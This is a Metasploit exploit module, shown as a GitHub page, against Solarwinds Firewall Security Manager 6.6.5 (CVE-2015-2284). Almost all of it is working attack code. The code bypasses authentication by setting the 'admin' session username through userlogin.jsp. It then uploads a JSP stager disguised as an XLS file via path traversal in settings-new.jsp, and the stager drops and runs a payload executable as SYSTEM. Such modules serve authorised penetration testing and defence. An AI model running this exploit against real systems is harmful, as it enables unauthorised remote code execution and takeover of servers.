-
Notifications
You must be signed in to change notification settings - Fork 13.8k
/
solarwinds_fsm_userlogin.rb
239 lines (192 loc) · 8.14 KB
/
solarwinds_fsm_userlogin.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Solarwinds Firewall Security Manager 6.6.5 Client Session Handling Vulnerability",
'Description' => %q{
This module exploits multiple vulnerabilities found in Solarwinds Firewall Security Manager
6.6.5. The first vulnerability is an authentication bypass via the Change Advisor interface
due to a user-controlled session.putValue API in userlogin.jsp, allowing the attacker to set
the 'username' attribute before authentication. The second problem is that the settings-new.jsp
file will only check the 'username' attribute before authorizing the 'uploadFile' action,
which can be exploited and allows the attacker to upload a fake xls host list file to the
server, and results in arbitrary code execution under the context of SYSTEM.
Depending on the installation, by default the Change Advisor web server is listening on port
48080 for an express install. Otherwise, this service may appear on port 8080.
Solarwinds has released a fix for this vulnerability as FSM-v6.6.5-HotFix1.zip, noted in the
references for this module.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rgod', # Original discovery
'mr_me <steventhomasseeley[at]gmail.com>', # https://twitter.com/ae0n_
'sinn3r' # Metasploit
],
'References' =>
[
['CVE', '2015-2284'],
['OSVDB', '81634'],
['ZDI', '15-107'],
['URL', 'http://downloads.solarwinds.com/solarwinds/Release/HotFix/FSM-v6.6.5-HotFix1.zip']
],
'DefaultOptions' =>
{
'RPORT' => 48080 # Could be 8080 too
},
'Platform' => 'win',
'Targets' =>
[
['Solarwinds Firewall Security Manager 6.6.5', {}]
],
'Privileged' => false,
'DisclosureDate' => '2015-03-13',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [ true, 'Base FMS directory path', '/'])
])
end
# Returns a checkcode that indicates whether the target is FSM or not
def check
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'fsm', 'login.jsp'))
if res && res.body =~ /SolarWinds FSM Change Advisor/i
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
# Exploit/run command
def exploit
unless check == Exploit::CheckCode::Detected
fail_with(Failure::NotVulnerable, 'Target does not appear to be a Solarwinds Firewall Security Manager')
end
# Stage 1 of the attack
# 'admin' is there by default and you can't delete it
username = 'admin'
print_status("Auth bypass: Putting session value: username=#{username}")
sid = put_session_value(username)
print_status("Your SID is: #{sid}")
# Stage 2 of the attack
exe = generate_payload_exe(code: payload.encoded)
filename = "#{Rex::Text.rand_text_alpha(5)}.jsp"
# Because when we get a shell, we will be at:
# C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice
# So we have to adjust this filename in order to delete the file
register_files_for_cleanup("../plugins/com.lisletech.athena.http.servlets_1.2/jsp/#{filename}")
malicious_file = get_jsp_payload(exe, filename)
print_status("Uploading file: #{filename} (#{exe.length} bytes)")
upload_exec(sid, filename, malicious_file)
end
private
# Returns a write-stager
# I grabbed this from Juan's sonicwall_gms_uploaded.rb module
def jsp_drop_bin(bin_data, output_file)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
jspraw << %Q|int numbytes = data.length();\n|
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
jspraw << %Q|{\n|
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
jspraw << %Q| comb <<= 4;\n|
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
jspraw << %Q|}\n|
jspraw << %Q|outputstream.write(bytes);\n|
jspraw << %Q|outputstream.close();\n|
jspraw << %Q|%>\n|
jspraw
end
# Returns JSP that executes stuff
# This is also from Juan's sonicwall_gms_uploaded.rb module
def jsp_execute_command(command)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|try {\n|
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|
jspraw << %Q|} catch (IOException ioe) { }\n|
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
jspraw << %Q|%>\n|
jspraw
end
# Returns a JSP payload
def get_jsp_payload(exe, output_file)
jsp_drop_bin(exe, output_file) + jsp_execute_command(output_file)
end
# Creates an arbitrary username by abusing the server's unsafe use of session.putValue
def put_session_value(value)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fsm', 'userlogin.jsp'),
'method' => 'GET',
'vars_get' => { 'username' => value }
)
unless res
fail_with(Failure::Unknown, 'The connection timed out while setting the session value.')
end
get_sid(res)
end
# Returns the session ID
def get_sid(res)
cookies = res.get_cookies
sid = cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''
sid
end
# Uploads a malicious file and then execute it
def upload_exec(sid, filename, malicious_file)
res = upload_file(sid, filename, malicious_file)
if !res
fail_with(Failure::Unknown, 'The connection timed out while uploading the malicious file.')
elsif res.body.include?('java.lang.NoClassDefFoundError')
print_good('Payload being treated as XLS, indicates a successful upload.')
else
print_bad('Unsure of a successful upload.')
end
print_status('Attempting to execute the payload.')
exec_file(sid, filename)
end
# Uploads a malicious file
# By default, the file will be saved at the following location:
# C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\reports\tickets\
def upload_file(sid, filename, malicious_file)
# Put our payload in:
# C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\jsp\
filename = "../../jsp/#{filename}"
mime_data = Rex::MIME::Message.new
mime_data.add_part(malicious_file, 'application/vnd.ms-excel', nil, "name=\"file\"; filename=\"#{filename}\"")
mime_data.add_part('uploadFile', nil, nil, 'name="action"')
proto = ssl ? 'https' : 'http'
ref = "#{proto}://#{rhost}:#{rport}#{normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp')}"
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp'),
'method' => 'POST',
'vars_get' => { 'action' => 'uploadFile' },
'ctype' => "multipart/form-data; boundary=#{mime_data.bound}",
'data' => mime_data.to_s,
'cookie' => sid,
'headers' => { 'Referer' => ref }
)
end
# Executes the malicious file and get code execution
# We will be at this location:
# C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice
def exec_file(sid, filename)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fsm', filename)
)
end
# Overrides the original print_status so we make sure we print the rhost and port
def print_status(msg)
super("#{rhost}:#{rport} - #{msg}")
end
end